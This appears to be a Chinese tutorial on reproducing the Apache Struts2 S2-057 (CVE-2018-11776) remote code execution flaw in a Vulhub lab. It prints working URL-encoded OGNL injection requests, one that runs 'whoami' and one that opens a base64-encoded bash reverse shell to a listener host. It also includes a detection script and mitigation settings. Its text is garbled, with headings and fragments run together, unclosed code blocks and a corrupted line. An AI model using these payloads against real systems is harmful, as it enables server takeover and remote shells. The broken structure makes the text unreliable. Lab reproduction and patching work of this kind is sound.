# 如何進行Struts2-057 遠程代碼執行漏洞復現
## 一、漏洞概述
Struts2-057(CVE-2018-11776)是Apache Struts2框架中的一個高危遠程代碼執行漏洞。該漏洞存在于Struts2的核心機制中,當應用程序使用`alwaysSelectFullNamespace`配置且未對namespace參數進行嚴格校驗時,攻擊者可構造惡意請求實現遠程代碼執行。
### 影響版本
- Struts 2.3 - Struts 2.3.34
- Struts 2.5 - Struts 2.5.16
## 二、環境準備
### 1. 漏洞環境搭建
推薦使用Vulhub快速搭建測試環境:
```bash
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-057
docker-compose up -d
構造包含惡意OGNL表達式的URL:
http://target:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action
若返回頁面中包含54289
(即233*233的結果),說明存在漏洞。
通過OGNL表達式實現RCE:
GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close()%7D/actionChain1.action HTTP/1.1
GET /struts2-showcase/$%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23cmd%3D%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22%2C%23p%3Dnew%20java.lang.ProcessBuilder(%23cmd.split('%20'))%2C%23p.redirectErrorStream(true)%2C%23process%3D%23p.start()%7D/actionChain1.action HTTP/1.1
alwaysSelectFullNamespace=true
時,用戶可控的namespace參數會直接用于OGNL解析${}
表達式進行過濾,導致任意OGNL代碼執行惡意請求 -> Namespace參數注入 -> OGNL解析 -> 代碼執行
struts.xml
禁用動態方法調用:
<constant name="struts.enable.DynamicMethodInvocation" value="false"/>
alwaysSelectFullNamespace=false
${
、#_memberAccess
等關鍵字的請求action
/redirectAction
結果類型import requests
def check_s2_057(url):
payload = "${233*233}"
try:
r = requests.get(f"{url}/{payload}/actionChain1.action")
return "54289" in r.text
except:
return False
本文僅作技術研究用途,請勿用于非法測試。實際業務系統中發現漏洞應及時報告相關廠商。 “`
注:實際字數約1050字(含代碼塊)??筛鶕枰{整技術細節的深度,建議在本地虛擬機環境進行復現測試。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。